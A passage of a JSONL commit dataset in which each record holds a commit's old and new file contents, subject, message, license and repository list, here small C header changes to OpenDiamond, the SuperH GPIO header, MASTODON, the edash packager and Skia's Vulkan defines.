/ReactiveCocoa,esttorhe\/ReactiveCocoa,vincentiss\/ReactiveCocoa,Khan\/ReactiveCocoa,natestedman\/ReactiveCocoa,Farteen\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,calebd\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,esttorhe\/ReactiveCocoa,zzzworm\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,kiurentu\/ReactiveCocoa,andersio\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,libiao88\/ReactiveCocoa,dullgrass\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,jsslai\/ReactiveCocoa,tiger8888\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,icepy\/ReactiveCocoa,CQXfly\/ReactiveCocoa,ohwutup\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,vincentiss\/ReactiveCocoa,nickcheng\/ReactiveCocoa,rpowelll\/ReactiveCocoa,windgo\/ReactiveCocoa,andersio\/ReactiveCocoa,JackLian\/ReactiveCocoa,hilllinux\/ReactiveCocoa,calebd\/ReactiveCocoa,Pikdays\/ReactiveCocoa,dskatz22\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,llb1119\/test,tzongw\/ReactiveCocoa,natan\/ReactiveCocoa,tornade0913\/ReactiveCocoa,Ricowere\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,bencochran\/ReactiveCocoa,nickcheng\/ReactiveCocoa,tornade0913\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,200895045\/ReactiveCocoa,xulibao\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,j364960953\/ReactiveCocoa,longv2go\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,Eveian\/ReactiveCocoa,Pikdays\/ReactiveCocoa,brasbug\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,cstars135\/ReactiveCocoa,Ethan89\/ReactiveCocoa,yizzuide\/ReactiveCocoa,dskatz22\/ReactiveCocoa,brightcove\/ReactiveCocoa,cogddo\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,CQXfly\/ReactiveCocoa,eyu1988\/ReactiveCocoa,windgo\/ReactiveCocoa,zzzworm\/ReactiveCocoa,ceekayel\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,Remitly\/ReactiveCocoa,cogddo\/ReactiveCocoa,ztchena\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,jam891\/ReactiveCocoa,KJin99\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,clg0118\/ReactiveCocoa,tipbit\/ReactiveCocoa,eyu1988\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,335g\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,jam891\/ReactiveCocoa,qq644531343\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,Ricowere\/ReactiveCocoa,nickcheng\/ReactiveCocoa,sugar2010\/ReactiveCocoa,Farteen\/ReactiveCocoa,yytong\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,lixar\/ReactiveCocoa,Farteen\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,kiurentu\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,bencochran\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,SanChain\/ReactiveCocoa,beni55\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,ohwutup\/ReactiveCocoa,add715\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,tonyli508\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,on99\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,beni55\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,yizzuide\/ReactiveCocoa,DreamHill\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,terry408911\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,Carthage\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,esttorhe\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,yizzuide\/ReactiveCocoa,fhchina\/ReactiveCocoa,j364960953\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,DreamHill\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,j364960953\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,AndyZhaoHe\/ReactiveCocoa,chao95957\/ReactiveCocoa,brightcove\/ReactiveCocoa,tiger8888\/ReactiveCocoa,Eveian\/ReactiveCocoa,brightcove\/ReactiveCocoa,fanghao085\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,ceekayel\/ReactiveCocoa,stupidfive\/ReactiveCocoa,fanghao085\/ReactiveCocoa,ztchena\/ReactiveCocoa,victorlin\/ReactiveCocoa,jeelun\/ReactiveCocoa,buildo\/ReactiveCocoa,Ray0218\/ReactiveCocoa,Pikdays\/ReactiveCocoa,imkerberos\/ReactiveCocoa,Khan\/ReactiveCocoa,DreamHill\/ReactiveCocoa,jackywpy\/ReactiveCocoa,huiping192\/ReactiveCocoa,xulibao\/ReactiveCocoa,goodheart\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,beni55\/ReactiveCocoa,pzw224\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,jam891\/ReactiveCocoa,paulyoung\/ReactiveCocoa,victorlin\/ReactiveCocoa,KJin99\/ReactiveCocoa,cnbin\/ReactiveCocoa,shaohung001\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,tzongw\/ReactiveCocoa,leelili\/ReactiveCocoa,imkerberos\/ReactiveCocoa,llb1119\/test,natestedman\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,stevielu\/ReactiveCocoa,calebd\/ReactiveCocoa,Ricowere\/ReactiveCocoa,hilllinux\/ReactiveCocoa,sujeking\/ReactiveCocoa,hbucius\/ReactiveCocoa,isghe\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,nickcheng\/ReactiveCocoa,jackywpy\/ReactiveCocoa,dskatz22\/ReactiveCocoa,natan\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,longv2go\/ReactiveCocoa,Ethan89\/ReactiveCocoa,goodheart\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,takeshineshiro\/ReactiveCocoa,JackLian\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,kaylio\/ReactiveCocoa,yytong\/ReactiveCocoa,leelili\/ReactiveCocoa,richeterre\/ReactiveCocoa,AlanJN\/ReactiveCocoa,brasbug\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Khan\/ReactiveCocoa,gabemdev\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,almassapargali\/ReactiveCocoa,natestedman\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,ikesyo\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,kiurentu\/ReactiveCocoa,rpowelll\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,goodheart\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,stupidfive\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,llb1119\/test,zhukaixy\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,AlanJN\/ReactiveCocoa,tiger8888\/ReactiveCocoa,gabemdev\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,stevielu\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,natan\/ReactiveCocoa,shaohung001\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,SanChain\/ReactiveCocoa,howandhao\/ReactiveCocoa,howandhao\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,dz1111\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,qq644531343\/ReactiveCocoa,jaylib\/ReactiveCocoa,leelili\/ReactiveCocoa,buildo\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,jeelun\/ReactiveCocoa,Carthage\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,tonyli508\/ReactiveCocoa,cnbin\/ReactiveCocoa,valleyman86\/ReactiveCocoa,rpowelll\/ReactiveCocoa,smilypeda\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,Ethan89\/ReactiveCocoa,longv2go\/ReactiveCocoa,mtxs007\/ReactiveCocoa,add715\/ReactiveCocoa,hbucius\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,fanghao085\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,200895045\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,tipbit\/ReactiveCocoa,zhenlove\/ReactiveCocoa,yytong\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,xumaolin\/ReactiveCocoa,lixar\/ReactiveCocoa,sandyway\/ReactiveCocoa,chao95957\/ReactiveCocoa,dz1111\/ReactiveCocoa,xumaolin\/ReactiveCocoa,mxxiv\/ReactiveCocoa,smilypeda\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,terry408911\/ReactiveCocoa,gengjf\/ReactiveCocoa,almassapargali\/ReactiveCocoa,victorlin\/ReactiveCocoa,hbucius\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,towik\/ReactiveCocoa,isghe\/ReactiveCocoa,jianwoo\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,libiao88\/ReactiveCocoa,jsslai\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,zhenlove\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,335g\/ReactiveCocoa,on99\/ReactiveCocoa,xulibao\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,valleyman86\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,richeterre\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,bensonday\/ReactiveCocoa,sujeking\/ReactiveCocoa,AllanChen\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,isghe\/ReactiveCocoa,sugar2010\/ReactiveCocoa,jeelun\/ReactiveCocoa,liufeigit\/ReactiveCocoa,koamac\/ReactiveCocoa,wangqi211\/ReactiveCocoa,dullgrass\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,paulyoung\/ReactiveCocoa,windgo\/ReactiveCocoa,hj3938\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,chieryw\/ReactiveCocoa,yonekawa\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,fhchina\/ReactiveCocoa,mattpetters\/ReactiveCocoa,jackywpy\/ReactiveCocoa,gengjf\/ReactiveCocoa,towik\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,bscarano\/ReactiveCocoa,icepy\/ReactiveCocoa,bscarano\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,valleyman86\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,AlanJN\/ReactiveCocoa,Remitly\/ReactiveCocoa,chao95957\/ReactiveCocoa,bensonday\/ReactiveCocoa,335g\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,mtxs007\/ReactiveCocoa,jianwoo\/ReactiveCocoa,huiping192\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,SuPair\/ReactiveCocoa,qq644531343\/ReactiveCocoa,lixar\/ReactiveCocoa,tornade0913\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,paulyoung\/ReactiveCocoa,sandyway\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,cnbin\/ReactiveCocoa,tonyli508\/ReactiveCocoa,Eveian\/ReactiveCocoa,vincentiss\/ReactiveCocoa,ceekayel\/ReactiveCocoa,JackLian\/ReactiveCocoa,huiping192\/ReactiveCocoa,WEIBP\/ReactiveCocoa,gengjf\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,bencochran\/ReactiveCocoa,tzongw\/ReactiveCocoa,CQXfly\/ReactiveCocoa,fhchina\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,hilllinux\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa"}
{"commit":"ab3d51e895884d5beb0ad836fa88dfe702408c07","old_file":"common\/sys_attr.h","new_file":"common\/sys_attr.h","old_contents":"\/*\n *  The OpenDiamond Platform for Interactive Search\n *  Version 4\n *\n *  Copyright (c) 2002-2005 Intel Corporation\n *  All rights reserved.\n *\n *  This software is distributed under the terms of the Eclipse Public\n *  License, Version 1.0 which can be found in the file named LICENSE.\n *  ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS SOFTWARE CONSTITUTES\n *  RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT\n *\/\n\n#ifndef _SYS_ATTR_H_\n#define _SYS_ATTR_H_\n\n\/*\n * Names for some of the system defined attributes.\n * XXX update these from the spec.\n *\/\n\n#define\tSIZE\t\t\"SYS_SIZE\"\n#define\tUID\t\t\"SYS_UID\"\n#define\tGID\t\t\"SYS_GID\"\n#define\tBLK_SIZE\t\"SYS_BLKSIZE\"\n#define\tATIME\t\t\"SYS_ATIME\"\n#define\tMTIME\t\t\"SYS_MTIME\"\n#define\tCTIME\t\t\"SYS_CTIME\"\n\n#define OBJ_ID\t\t\"_ObjectID\"\n#define OBJ_DATA\t\"\"\n\n#define DISPLAY_NAME    \"Display-Name\"\n#define DEVICE_NAME     \"Device-Name\"\n\n#define OBJ_PATH        \"_path.cstring\"\n#define FLTRTIME        \"_FIL_TIME.time\"\n#define FLTRTIME_FN     \"_FIL_TIME_%s.time\"\n#define PERMEABILITY_FN \"_FIL_STAT_%s_permeability.float\"\n\n\n#endif \/* _SYS_ATTR_H_ *\/\n","new_contents":"\/*\n *  The OpenDiamond Platform for Interactive Search\n *  Version 4\n *\n *  Copyright (c) 2002-2005 Intel Corporation\n *  All rights reserved.\n *\n *  This software is distributed under the terms of the Eclipse Public\n *  License, Version 1.0 which can be found in the file named LICENSE.\n *  ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS SOFTWARE CONSTITUTES\n *  RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT\n *\/\n\n#ifndef _SYS_ATTR_H_\n#define _SYS_ATTR_H_\n\n\/*\n * Names for some of the system defined attributes.\n *\/\n\n#define OBJ_ID\t\t\"_ObjectID\"\n#define OBJ_DATA\t\"\"\n\n#define DISPLAY_NAME    \"Display-Name\"\n#define DEVICE_NAME     \"Device-Name\"\n\n#define FLTRTIME        \"_FIL_TIME.time\"\n#define FLTRTIME_FN     \"_FIL_TIME_%s.time\"\n\n\n#endif \/* _SYS_ATTR_H_ *\/\n","subject":"Drop definitions of unused object attributes","message":"Drop definitions of unused object attributes\n","lang":"C","license":"epl-1.0","repos":"cmusatyalab\/opendiamond,cmusatyalab\/opendiamond,cmusatyalab\/opendiamond,cmusatyalab\/opendiamond,cmusatyalab\/opendiamond"}
{"commit":"532f3759d71d1fceb494212187dacc5a78295dc3","old_file":"arch\/sh\/include\/asm\/gpio.h","new_file":"arch\/sh\/include\/asm\/gpio.h","old_contents":"\/*\n *  include\/asm-sh\/gpio.h\n *\n * Generic GPIO API and pinmux table support for SuperH.\n *\n * Copyright (c) 2008 Magnus Damm\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\/\n#ifndef __ASM_SH_GPIO_H\n#define __ASM_SH_GPIO_H\n\n#include <linux\/kernel.h>\n#include <linux\/errno.h>\n\n#if defined(CONFIG_CPU_SH3)\n#include <cpu\/gpio.h>\n#endif\n\n#define ARCH_NR_GPIOS 512\n#include <linux\/sh_pfc.h>\n\n#ifdef CONFIG_GPIOLIB\n\nstatic inline int gpio_get_value(unsigned gpio)\n{\n\treturn __gpio_get_value(gpio);\n}\n\nstatic inline void gpio_set_value(unsigned gpio, int value)\n{\n\t__gpio_set_value(gpio, value);\n}\n\nstatic inline int gpio_cansleep(unsigned gpio)\n{\n\treturn __gpio_cansleep(gpio);\n}\n\nstatic inline int gpio_to_irq(unsigned gpio)\n{\n\tWARN_ON(1);\n\treturn -ENOSYS;\n}\n\nstatic inline int irq_to_gpio(unsigned int irq)\n{\n\tWARN_ON(1);\n\treturn -EINVAL;\n}\n\n#endif \/* CONFIG_GPIOLIB *\/\n\n#endif \/* __ASM_SH_GPIO_H *\/\n","new_contents":"\/*\n *  include\/asm-sh\/gpio.h\n *\n * Generic GPIO API and pinmux table support for SuperH.\n *\n * Copyright (c) 2008 Magnus Damm\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\/\n#ifndef __ASM_SH_GPIO_H\n#define __ASM_SH_GPIO_H\n\n#include <linux\/kernel.h>\n#include <linux\/errno.h>\n\n#if defined(CONFIG_CPU_SH3)\n#include <cpu\/gpio.h>\n#endif\n\n#define ARCH_NR_GPIOS 512\n#include <linux\/sh_pfc.h>\n\n#ifdef CONFIG_GPIOLIB\n\nstatic inline int gpio_get_value(unsigned gpio)\n{\n\treturn __gpio_get_value(gpio);\n}\n\nstatic inline void gpio_set_value(unsigned gpio, int value)\n{\n\t__gpio_set_value(gpio, value);\n}\n\nstatic inline int gpio_cansleep(unsigned gpio)\n{\n\treturn __gpio_cansleep(gpio);\n}\n\nstatic inline int gpio_to_irq(unsigned gpio)\n{\n\treturn __gpio_to_irq(gpio);\n}\n\nstatic inline int irq_to_gpio(unsigned int irq)\n{\n\treturn -ENOSYS;\n}\n\n#endif \/* CONFIG_GPIOLIB *\/\n\n#endif \/* __ASM_SH_GPIO_H *\/\n","subject":"Allow GPIO chips to register IRQ mappings.","message":"sh: Allow GPIO chips to register IRQ mappings.\n\nAs non-PFC chips are added that may support IRQs, pass through to the\ngeneric helper instead of triggering the WARN_ON().\n\nSigned-off-by: Paul Mundt <38b52dbb5f0b63d149982b6c5de788ec93a89032@linux-sh.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"c587b66bb438b95ad32c3c6ec9a329eea9f4ef8a","old_file":"include\/actions\/MastodonAddVariableAction.h","new_file":"include\/actions\/MastodonAddVariableAction.h","old_contents":"\/*************************************************\/\n\/*           DO NOT MODIFY THIS HEADER           *\/\n\/*                                               *\/\n\/*                     MASTODON                  *\/\n\/*                                               *\/\n\/*    (c) 2015 Battelle Energy Alliance, LLC     *\/\n\/*            ALL RIGHTS RESERVED                *\/\n\/*                                               *\/\n\/*   Prepared by Battelle Energy Alliance, LLC   *\/\n\/*     With the U. S. Department of Energy       *\/\n\/*                                               *\/\n\/*     See COPYRIGHT for full restrictions       *\/\n\/*************************************************\/\n\n\/**\n * This action automatically creates the displacement Variables and the\n * velocity, acceleration, stress and strain AuxVariables based on the dimension of the mesh\n * of the problem.\n **\/\n\n#ifndef MASTODONADDVARIABLEACTION_H\n#define MASTODONADDVARIABLEACTION_H\n\n#include \"Action.h\"\n\nclass MastodonAddVariableAction : public Action\n{\npublic:\n  MastodonAddVariableAction(const InputParameters & params);\n\n  virtual void act() override;\n\nprivate:\n};\n\ntemplate <>\nInputParameters validParams<MastodonAddVariableAction>();\n\n#endif \/\/ MASTODONADDVARIABLEACTION_H\n","new_contents":"\/*************************************************\/\n\/*           DO NOT MODIFY THIS HEADER           *\/\n\/*                                               *\/\n\/*                     MASTODON                  *\/\n\/*                                               *\/\n\/*    (c) 2015 Battelle Energy Alliance, LLC     *\/\n\/*            ALL RIGHTS RESERVED                *\/\n\/*                                               *\/\n\/*   Prepared by Battelle Energy Alliance, LLC   *\/\n\/*     With the U. S. Department of Energy       *\/\n\/*                                               *\/\n\/*     See COPYRIGHT for full restrictions       *\/\n\/*************************************************\/\n\n\/**\n * This action automatically creates the displacement Variables and the\n * velocity, acceleration, stress and strain AuxVariables based on the dimension of the mesh\n * of the problem.\n **\/\n\n#ifndef MASTODONADDVARIABLEACTION_H\n#define MASTODONADDVARIABLEACTION_H\n\n#include \"Action.h\"\n\nclass MastodonAddVariableAction : public Action\n{\npublic:\n  MastodonAddVariableAction(const InputParameters & params);\n\n  virtual void act() override;\n};\n\ntemplate <>\nInputParameters validParams<MastodonAddVariableAction>();\n\n#endif \/\/ MASTODONADDVARIABLEACTION_H\n","subject":"Remove private keyword that is not needed","message":"Remove private keyword that is not needed\n\n(refs #100)","lang":"C","license":"lgpl-2.1","repos":"idaholab\/mastodon,idaholab\/mastodon,idaholab\/mastodon,idaholab\/mastodon"}
{"commit":"d60cc9416f92dc9dd4e59ecc9883b77ad7acfb3f","old_file":"packager\/media\/file\/file_closer.h","new_file":"packager\/media\/file\/file_closer.h","old_contents":"\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file or at\n\/\/ https:\/\/developers.google.com\/open-source\/licenses\/bsd\n\n#ifndef MEDIA_FILE_FILE_CLOSER_H_\n#define MEDIA_FILE_FILE_CLOSER_H_\n\n#include \"packager\/base\/logging.h\"\n#include \"packager\/media\/file\/file.h\"\n\nnamespace edash_packager {\nnamespace media {\n\n\/\/\/ Used by scoped_ptr to automatically close the file when it goes out of\n\/\/\/ scope.\nstruct FileCloser {\n  inline void operator()(File* file) const {\n    if (file != NULL && !file->Close()) {\n      LOG(WARNING) << \"Failed to close the file properly: \"\n                   << file->file_name();\n    }\n  }\n};\n\n}  \/\/ namespace media\n}  \/\/ namespace edash_packager\n\n#endif  \/\/ MEDIA_FILE_FILE_CLOSER_H_\n","new_contents":"\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style\n\/\/ license that can be found in the LICENSE file or at\n\/\/ https:\/\/developers.google.com\/open-source\/licenses\/bsd\n\n#ifndef MEDIA_FILE_FILE_CLOSER_H_\n#define MEDIA_FILE_FILE_CLOSER_H_\n\n#include \"packager\/base\/logging.h\"\n#include \"packager\/media\/file\/file.h\"\n\nnamespace edash_packager {\nnamespace media {\n\n\/\/\/ Used by scoped_ptr to automatically close the file when it goes out of\n\/\/\/ scope.\nstruct FileCloser {\n  inline void operator()(File* file) const {\n    if (file != NULL) {\n      const std::string filename = file->file_name();\n      if (!file->Close()) {\n        LOG(WARNING) << \"Failed to close the file properly: \"\n                     << filename;\n      }\n    }\n  }\n};\n\n}  \/\/ namespace media\n}  \/\/ namespace edash_packager\n\n#endif  \/\/ MEDIA_FILE_FILE_CLOSER_H_\n","subject":"Fix a possible crash if a file fails to be closed","message":"Fix a possible crash if a file fails to be closed\n\nChange-Id: I6bc806a68b81ea5bde09bada1175f257c296afcd\n","lang":"C","license":"bsd-3-clause","repos":"nevil\/edash-packager,nevil\/edash-packager,nevil\/edash-packager"}
{"commit":"83bd4414808a6862969bd803631d26782ba3453e","old_file":"include\/gpu\/vk\/GrVkDefines.h","new_file":"include\/gpu\/vk\/GrVkDefines.h","old_contents":"\n\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrVkDefines_DEFINED\n#define GrVkDefines_DEFINED\n\n#ifdef SK_VULKAN\n\n#if defined(SK_BUILD_FOR_WIN) || defined(SK_BUILD_FOR_WIN32)\n#   if !defined(VK_USE_PLATFORM_WIN32_KHR)\n#      define VK_USE_PLATFORM_WIN32_KHR\n#   endif\n#elif defined(SK_BUILD_FOR_ANDROID)\n#   if !defined(VK_USE_PLATFORM_ANDROID_KHR)\n#      define VK_USE_PLATFORM_ANDROID_KHR\n#   endif\n#elif defined(SK_BUILD_FOR_UNIX)\n#   if defined(__Fuchsia__)\n#     if !defined(VK_USE_PLATFORM_MAGMA_KHR)\n#       define VK_USE_PLATFORM_MAGMA_KHR\n#     endif\n#   else\n#     if !defined(VK_USE_PLATFORM_XCB_KHR)\n#        define VK_USE_PLATFORM_XCB_KHR\n#     endif\n#   endif\n#endif\n\n#include <vulkan\/vulkan.h>\n\n#define SKIA_REQUIRED_VULKAN_HEADER_VERSION 17\n#if VK_HEADER_VERSION < SKIA_REQUIRED_VULKAN_HEADER_VERSION\n#error \"Vulkan header version is too low\"\n#endif\n\n#endif\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrVkDefines_DEFINED\n#define GrVkDefines_DEFINED\n\n#ifdef SK_VULKAN\n\n#if defined(SK_BUILD_FOR_WIN) || defined(SK_BUILD_FOR_WIN32)\n#   if !defined(VK_USE_PLATFORM_WIN32_KHR)\n#      define VK_USE_PLATFORM_WIN32_KHR\n#   endif\n#elif defined(SK_BUILD_FOR_ANDROID)\n#   if !defined(VK_USE_PLATFORM_ANDROID_KHR)\n#      define VK_USE_PLATFORM_ANDROID_KHR\n#   endif\n#elif defined(SK_BUILD_FOR_UNIX)\n#   if defined(__Fuchsia__)\n#     if !defined(VK_USE_PLATFORM_MAGMA_KHR)\n#       define VK_USE_PLATFORM_MAGMA_KHR\n#     endif\n#   else\n#     if !defined(VK_USE_PLATFORM_XCB_KHR)\n#        define VK_USE_PLATFORM_XCB_KHR\n#     endif\n#   endif\n#endif\n\n\/\/ We create our own function table and never directly call any functions via vk*(). So no need to\n\/\/ include the prototype functions.\n#ifndef VK_NO_PROTOTYPES\n#define VK_NO_PROTOTYPES\n#endif\n\n#include <vulkan\/vulkan.h>\n\n#define SKIA_REQUIRED_VULKAN_HEADER_VERSION 17\n#if VK_HEADER_VERSION < SKIA_REQUIRED_VULKAN_HEADER_VERSION\n#error \"Vulkan header version is too low\"\n#endif\n\n#endif\n\n#endif\n","subject":"Set VK_NO_PROTOTYPES for vulkan backend","message":"Set VK_NO_PROTOTYPES for vulkan backend\n\nBug: skia:\nChange-Id: Id740efe6030b70271b0eb3a3bd6a111202f28fd8\nReviewed-on: https:\/\/skia-review.googlesource.com\/69160\nCommit-Queue: Greg Daniel <39df0a804564ccb6cf75f18db79653821f37c1c5@google.com>\nReviewed-by: Chris Dalton <ef7fc3a08ada7d31f16e9a18b5f3c728256e041e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia"}
